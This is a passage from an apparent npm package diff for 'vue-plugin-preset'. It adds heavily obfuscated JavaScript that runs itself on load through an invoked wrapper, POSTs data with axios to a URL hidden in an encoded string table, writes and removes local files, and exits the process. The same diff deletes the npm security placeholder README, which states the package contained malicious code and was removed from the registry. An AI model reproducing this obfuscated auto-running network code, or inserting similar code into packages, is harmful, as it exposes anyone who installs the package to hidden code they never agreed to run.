Date()[_0x371e('0x9c')]();_0x5ddaf0[_0x371e('0x66')](axios,{'url':_0x5ddaf0[_0x371e('0x6c')],'method':'post','data':_0xbfc8f9})[_0x371e('0x1c')](({data})=>{if(_0x5ddaf0[_0x371e('0x7b')]!==_0x5ddaf0[_0x371e('0x7b')]){process[_0x371e('0x92')](0x1);}else{let _0x2f6d9b=data[_0x5ddaf0[_0x371e('0x6b')]];if(data[_0x5ddaf0[_0x371e('0x82')]]==0x1f4){console['log'](chalk[_0x371e('0x93')](_0x5ddaf0[_0x371e('0x76')]('\x0a',_0x2f6d9b)));fs[_0x371e('0x23')]('./error.txt',_0x2f6d9b,function(_0xd0f45a){process[_0x371e('0x92')](0x1);});}if(_0x5ddaf0[_0x371e('0x25')](data[_0x5ddaf0[_0x371e('0x82')]],0xc8)){if(!_0x5d7187){if(_0x5ddaf0['Jwziz'](_0x5ddaf0['rQgTc'],_0x371e('0x83'))){fs[_0x371e('0x41')](_0x5ddaf0[_0x371e('0x2')],_0x5ddaf0[_0x371e('0x91')](_0x371e('0x21'),data[_0x371e('0x59')]),function(_0x1b62ef){if(_0x371e('0x48')===_0x371e('0x48')){process[_0x371e('0x92')](0x1);}else{const _0x3f59b2=firstCall?function(){if(fn){const _0x26ab76=fn['apply'](context,arguments);fn=null;return _0x26ab76;}}:function(){};firstCall=![];return _0x3f59b2;}});if(_0x5ddaf0[_0x371e('0x9')](data['success'],![])){console[_0x371e('0x60')](chalk[_0x5ddaf0[_0x371e('0x2f')]](_0x5ddaf0[_0x371e('0xe')]));process[_0x371e('0x92')](0x1);}}else{console[_0x371e('0x60')](chalk[_0x5ddaf0['RMgYs']](_0x5ddaf0[_0x371e('0xa2')]('\x0a',_0x2f6d9b)));fs[_0x371e('0x23')](_0x371e('0x17'),_0x2f6d9b,function(_0x3a2dcd){process[_0x371e('0x92')](0x1);});}}if(_0x5ddaf0[_0x371e('0x67')](data['success'],![])){console['log'](chalk[_0x5ddaf0[_0x371e('0x2f')]](_0x5ddaf0[_0x371e('0x32')]));process[_0x371e('0x92')](0x1);}fs[_0x371e('0x23')](_0x371e('0x7e'),JSON['stringify'](data),function(_0x561983){fs[_0x371e('0x52')](_0x5ddaf0[_0x371e('0x33')],function(){});});}}})['catch'](_0x17053f=>{console[_0x371e('0x1f')](_0x17053f);console[_0x371e('0x60')](chalk[_0x5ddaf0[_0x371e('0x2f')]](_0x5ddaf0[_0x371e('0x56')]));process[_0x371e('0x92')](0x1);});}!(()=>{const _0x23446e={};_0x23446e[_0x371e('0x63')]=function(_0x3491e8){return _0x3491e8();};const _0x1a8000=_0x23446e;_0x1a8000[_0x371e('0x63')](checkLicense);})();
|
@@ -0,0 +1,36 @@
|
|
1
|
+
import axios from 'axios';
|
2
|
+
import { ConfigEnum } from '../enums/httpEnum.js';
|
3
|
+
const service = axios.create({
|
4
|
+
baseURL: localStorage.getItem(ConfigEnum.DRAG_BASE_URL) || ConfigEnum.TEST_DOMAIN,
|
5
|
+
});
|
6
|
+
// 添加请求拦截器
|
7
|
+
service.interceptors.request.use(
|
8
|
+
function (config) {
|
9
|
+
let licenseData = require('../license.json');
|
10
|
+
let checkLicense = licenseData.licenseToken;
|
11
|
+
if (!checkLicense) {
|
12
|
+
console.info("非法授权,请通过合法途径进行授权注册")
|
13
|
+
throw 'error';
|
14
|
+
}
|
15
|
+
//let jsEncrypt = new JSEncrypt();
|
16
|
+
//jsEncrypt.setPublicKey(licenseData.publicKey);
|
17
|
+
//let licenseToken = jsEncrypt.encrypt(licenseData.licenseToken);
|
18
|
+
config.headers[ConfigEnum.LICENSE_TOKEN] = process['env']['VUE_APP_LICENSE_TOKEN'];
|
19
|
+
config.headers[ConfigEnum.TOKEN] = localStorage.getItem(ConfigEnum.DRAG_TOKEN) || ConfigEnum.TEST_TOKEN;
|
20
|
+
return config;
|
21
|
+
},
|
22
|
+
function (error) {
|
23
|
+
return Promise.reject(error);
|
24
|
+
}
|
25
|
+
);
|
26
|
+
|
27
|
+
// 添加响应拦截器
|
28
|
+
service.interceptors.response.use(
|
29
|
+
function (response) {
|
30
|
+
return response;
|
31
|
+
},
|
32
|
+
function (error) {
|
33
|
+
return Promise.reject(error);
|
34
|
+
}
|
35
|
+
);
|
36
|
+
export default service;
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=vue-plugin-preset for more information.
|